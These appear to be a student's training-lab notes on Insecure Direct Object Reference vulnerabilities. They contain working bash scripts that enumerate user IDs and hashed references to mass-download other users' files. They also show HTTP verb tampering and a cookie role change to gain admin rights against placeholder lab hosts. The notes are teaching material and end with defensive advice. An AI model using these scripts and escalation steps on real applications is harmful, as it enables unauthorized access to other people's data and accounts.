IDOR
Insecure Direct Object References
- lack of solid access-control system
- use of sequential (calculatable) numbers or user IDs to identify each item
Table of Contents
- IDOR in JS (AJAX Calls)
- Finding Patterns by Comparing User Roles
try to find pattern from multiple accounts - Fuzzing IDOR
write custom shell scripts to fuzz IDOR - Hashed/Encrypted Nonsequential References
IDOR that's encrypted/hashed; fuzzing encrypted/hashed IDOR - IDOR in API
IDOR that can be leveraged to make Function Calls - Chaining IDORs
- Afterwords
IDOR in JS (AJAX Calls)
e.g. we are user but want to access functions that only admin can access
find admin functions in front end JS code
Look for:
- AJAX calls to specific end-points
- APIs that contain direct object references
function changeUserPassword() {
$.ajax({
url:"change_password.php",
type: "post",
dataType: "json",
data: {uid: user.uid, password: user.password, is_admin: is_admin},
success:function(result){
//
}
});
}
Finding Patterns by Comparing User Roles
we need multiple users and compare their HTTP requests and object references
e.g. 1 of the users can make this call
{
"attributes" :
{
"type" : "salary",
"url" : "/services/data/salaries/users/1"
},
"Id" : "1",
"Name" : "User1"
}
The second user cannot make this call. but we can try to repeat the same API call.
Fuzzing IDOR
For example, we see this predicatble naming pattern:
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
Fuzz it using Burp Intruder or OWASP ZAP Fuzzer
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
Clean it using GREP
> curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
Clean it more using GREP
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf
Fuzz it using bash code
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
Bash code I (asked chat) to write for the capstone of this chapter /payload_executables/idor_download_pdf.sh
Hashed/Encrypted Nonsequential References
?filename=ZmlsZV8xMjMucGRm
this is base64
download.php?filename=c81e728d9d4c2f636f067f89cc14862c
this may appear safe, but this is the source code:
$.ajax({
url:"download.php",
type: "post",
dataType: "json",
data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
success:function(result){
//
}
});
e.g. in burp suite, the intercepted traffic shows that
contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
We can attempt to hash various values, like uid
, username
, filename
.... see if md5 matches
> echo -n 1 | md5sum
c4ca4238a0b923820dcc509a6f75849b -
utilize Burp Comparer
and fuzz various values and then compare each to our hash
if we can't find matches, this would be a Secure Direct Object Reference
However, some developers make the mistake of containing code in the front end js file
function downloadContract(uid) {
$.redirect("/download.php", {
contract: CryptoJS.MD5(btoa(uid)).toString(),
}, "POST", "_self");
}
In this case, the value being hashed is btoa(uid)
, which is the base64
encoded string of the uid
variable, which is an input argument for the function. Going back to the earlier link where the function was called, we see it calling downloadContract('1')
. So, the final value being used in the POST
request is the base64
encoded string of 1
, which was then md5
hashed.
> echo -n 1 | base64 -w 0 | md5sum
cdd96d3cc73d1dbdaffa03cc6cd7339b -
an example mass enumeration script would look like:
#!/bin/bash
for i in {1..10}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
done
done
an example fuzzer for the exercise: payload_executable/idor_base64_fuzzer.sh
IDOR in API
- IDOR Information Disclosure Vulnerabilities allow us to read various resources
- IDOR Insecure Function Calls enable us to call APIs or execute functions as another user
- change another user's private information
- reset another user's password
- buy items using another user's payment information
Note: In many cases, we may be obtaining certain information through an information disclosure IDOR and then use the with IDOR insecure function call vulnerabilities
For the excersise, it asks what is the uuid of the user whose uid = 5? In the web application
What I did is just to use HTTP Verb Tampering to change the PUT to GET, and then change the url from /profile/api.php/profile/2
to /profile/api.php/profile/5
Chaining IDORs
As seen in the images, using HTTP Verb Tampering, we obtained the uuid of uid=5, and we could take advantage of this information.
Another example is, we find the admin role name
{
"uid": "X",
"uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
"role": "web_admin",
"full_name": "administrator",
"email": "webadmin@employees.htb",
"about": "HTB{FLAG}"
}
And we take advantage of this to escalate our user privilege (change our role to web_admin
)
Cookie: role=web_admin
Now, we can use functions that only admins can.
Exercise:
HTTP/1.1 200 OK
Date: Sat, 21 Dec 2024 18:42:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 185
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
{"uid":"10","uuid":"bfd92386a1b48076792e68b596846499","role":"staff_admin","full_name":"admin","email":"admin@employees.htb","about":"Never gonna give you up, Never gonna let you down"}
change admin's email to flag@idor.htb
{"uid":"10","uuid":"bfd92386a1b48076792e68b596846499","role":"staff_admin","full_name":"admin","email":"flag@idor.htb","about":"Never gonna give you up, Never gonna let you down"}
Afterwords
Even after building a solid access control system, we should never use object references in clear text or simple patterns (e.g. uid=1
). We should always use strong and unique references, like salted hashes or UUID
's. For example, we can use UUID V4
to generate a strongly randomized id for any element, which looks something like (89c9b29b-d19f-4515-b2dd-abb6e693eb20
).